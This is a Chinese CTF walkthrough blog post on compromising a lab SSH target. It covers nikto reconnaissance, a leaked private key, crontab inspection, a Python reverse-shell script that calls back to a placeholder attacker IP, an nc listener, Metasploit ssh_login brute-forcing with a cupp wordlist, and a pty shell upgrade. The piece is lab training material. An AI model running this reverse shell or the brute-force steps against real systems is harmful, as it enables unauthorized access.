zoukankan      html  css  js  c++  java
  • CTF-ssh服务测试详细版

    ssh服务测试详细版

    攻击机ip:192.168.1.2

    靶机ip:192.168.1.11

    首先,netdiscover -r 192.168.1.11,查到靶机ip

    打开靶机ip,发现是个网站,进行信息收集

     

    找到个用户名,martin,后面或许有用

    随后进行端口开放的查询,发现22号端口开启ssh服务,那么我们是否可以进行ssh远程登陆服务器呢?想到就做到,开搞。

    用nikto -host 靶机ip

    找啊找啊找,最后在/icons里找到了一些有趣的东西,一个txt文件,一打开,发现是ssh远程会话登陆的私钥!

     

    紧接着我们就应该想到了ssh -i 私钥 用户名@ip这条命令可以进行ssh登陆。

    那么我们就使用wget把他下载下来。一登陆发现没有权限,无法登录,ls -al查询文件权限,发现不是可读可写,那么我们就将它改成可读可写 chmod 600 私钥文件名。再次登陆发现还是不行,无法建立连接,说需要密码,好,那么我们就用john进行解密,但是发现它回显,无密码??

    之后问了下老师,他说需要把一个缓存文件给删掉才行。

    好!我们不会就百度

    最后找到了答案,是这样的:ssh会把你每个你访问过计算机的公钥(public key)都记录在~/.ssh/known_hosts。当下次访问相同计算机时,OpenSSH会核对公钥。如果公钥不同,OpenSSH会发出警告,避免你受到DNS Hijack之类的攻击。而因为之前我用kali攻击机做l了个ssh私钥泄露的实验,所以我想应该是那时候留下来的。那么我们就删除这个缓存文件吧!

    首先使用命令 ssh-keygen -l -f ~/.ssh/known_hosts 查询/.ssh/known_hosts文件中的私钥缓存有多少个

    使用命令 ssh-keygen -R xxx.xxx.xxx.xxx (服务器ip地址) 从known_hosts文件中删除属于hostname的所有密钥。

    然后再删除私钥文件,进重新下载,就可以登陆成功啦!

     

    我们拿到了matin权限,那么我们进行进行查询发现没有flag.txt。那么意味着可能是另外两个用户可能能查询到。那么我们就以现在的身份进行信息挖掘。

    我们知道,root用户可以通过/etc/crontab 文件,设定系统定期执行的任务,不同的用户有不同的任务。cat /etc/crontab   挖掘其他用户是否有定时任务,并查看对应的任务内容。执行的任务肯定对应靶场机器的某个文件。

     

    如果在/etc/crontab下有某个用户的定时计划文件,但是具体目录下没有这个定时执行的文件,可以自行创建反弹shell,然后netcat执行监听获取对应用户的权限。

    如果有定时执行的文件,可以切换到对应的目录,查看对应的权限,查看当前用户是否具有读写权限。

    以下是反弹shell的代码

    靶场代码

    #!/usr/bin/python

    import os,subprocess,socket

    s=socket.socekt(socket.AF_INET,socket.SOCK_STREAM)

    s.connect((“攻击机IP地址”,”攻击机监听端口”))

    os.dup2(s.fileno(),0)

    os.dup2(s.fileno(),1)

    os.dup2(s.fileno(),2)

    p=subprocess.call([“/bin/sh”,”-i”])

    攻击机使用nc -lpv 未占用端口进行监听,再攻击机上反弹回来的shell进行查询发现jimmy用户也无法查询到flag.txt文件,那就只能依托于最后的hadi用户了。我们只是用metaspolit进行暴力破解。在这之前我们需要西在字典文件。

    利用 cupp 创建字典

     git clone https://github.com/jeanphorn/common-password.git 

     chmod +x cupp.py

    ./cupp.py -i     以交互的方式创建字典 

    然后就可以使用metaspolit工具了

    命令:

    msfconsole  ---打开工具

    use auxiliary/scanner/ssh/ssh_login  ---进入ssh模块

    set rhosts 192.168.1.137  ---设置靶机ip

    set username hadi  ---设置用户名

    set pass_file /root/Desktop/commont-password/hadi.txt  ---设置密码文件

    set threads 5  ---设置线程

    run  --启动

    最后爆破出hadi的登陆密码为hadi123

    back  --退出,再进入ssh模块,设置ip,设置用户名,输入密码即可登陆成功

    然后发现里面有一个id为1的会话,我们尝试会话,发现它并不像我们通常的终端会话一样,权限@用户名的,那么我们就是用python代码进行优化。

    python -c "import pty; pty.spawn('/bin/bash')"

     然后ls查询我们发现了个flag.txt文件,那么我们cat一下它就可以拿到flag了!

  • 相关阅读:
    Sql Server 2016 创建内存数据库
    SQL 系统表应用
    EF 编程经验
    JSP JDBC 读取SQL Server 数据2
    JSP 使用 JDBC连接SQL Server
    JSP 用poi 读取Excel
    解析SQL中的包含的列和表
    dotnet core 入门
    <<你的灯亮着吗?>>读书笔记
    需求分析过程工具产物表
  • 原文地址:https://www.cnblogs.com/Hbbbb/p/12609322.html
Copyright © 2011-2022 走看看